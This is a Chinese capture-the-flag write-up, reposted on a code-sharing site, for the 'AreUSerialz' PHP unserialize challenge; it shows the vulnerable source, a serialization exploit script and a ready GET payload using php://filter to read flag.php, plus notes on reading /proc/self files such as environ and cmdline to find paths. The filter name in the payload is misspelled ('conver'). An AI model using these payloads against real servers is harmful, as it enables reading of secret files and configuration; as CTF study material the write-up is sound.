ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

AreUSerialz 反序列化+序列化后产生不可见字符+/proc/self利用

2020-07-01 19:35:05  阅读:307  来源: 互联网

标签:function AreUSerialz res self filename output 序列化 op


杂言

  我从来不知道自己有那么热爱学习(大哭),摸鱼了一个学期,最后一个月终于把期末给应付过去了,接下来就是把之前应付考试的时间补回来刷题和实习准备了,这次是5月网鼎青龙组的一道,我现在才拿来复现。。。。

解题

  开幕雷击

<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

} 

  Private、protecte序列化后产生不可见字符

  private属性序列化的时候格式是%00类名%00成员名

  protecte属性序列化的时候格式是%00*%00成员

  PHP7.1以上的反序列化不会判断里面参数的属性类型了,所以可以改成public再进行反序列化,绕过private、protected序列化后产生不可见字符。__destruct()方法,当op===“2"时会将"2"变成"1”,可以把op转成int型进行绕过

 

<?php
    class FileHandler{
        public $op;
        public $filename;
            public $content;
    }
    $a = new FileHandler();
    $a->op = 2;
    $a->filename = 'php://filter/read=conver.base64_encode/resource=./flag.php';
    echo serialize($a);
?>
playload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:58:"php://filter/read=conver.base64_encode/resource=./flag.php";s:7:"content";N;}

 

 这道题目在复现的时候用相对路径没问题,在比赛的时候还有一个坑点就是要知道绝对路径 

linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。

maps 记录一些调用的扩展或者自定义 so 文件

environ 环境变量

comm 当前进程运行的程序

cmdline 程序运行的绝对路径

cpuset docker 环境可以看 machine ID

cgroup docker环境下全是 machine ID 不太常用

  可以读取/proc/self/cmdline找到当前路径获取配置信息/web/config/httpd.conf

  然后读取/web/html/flag.php

参考链接

  https://blog.csdn.net/god_zzZ/article/details/106062140

 

标签:function,AreUSerialz,res,self,filename,output,序列化,op
来源: https://www.cnblogs.com/Lee-404/p/13221067.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有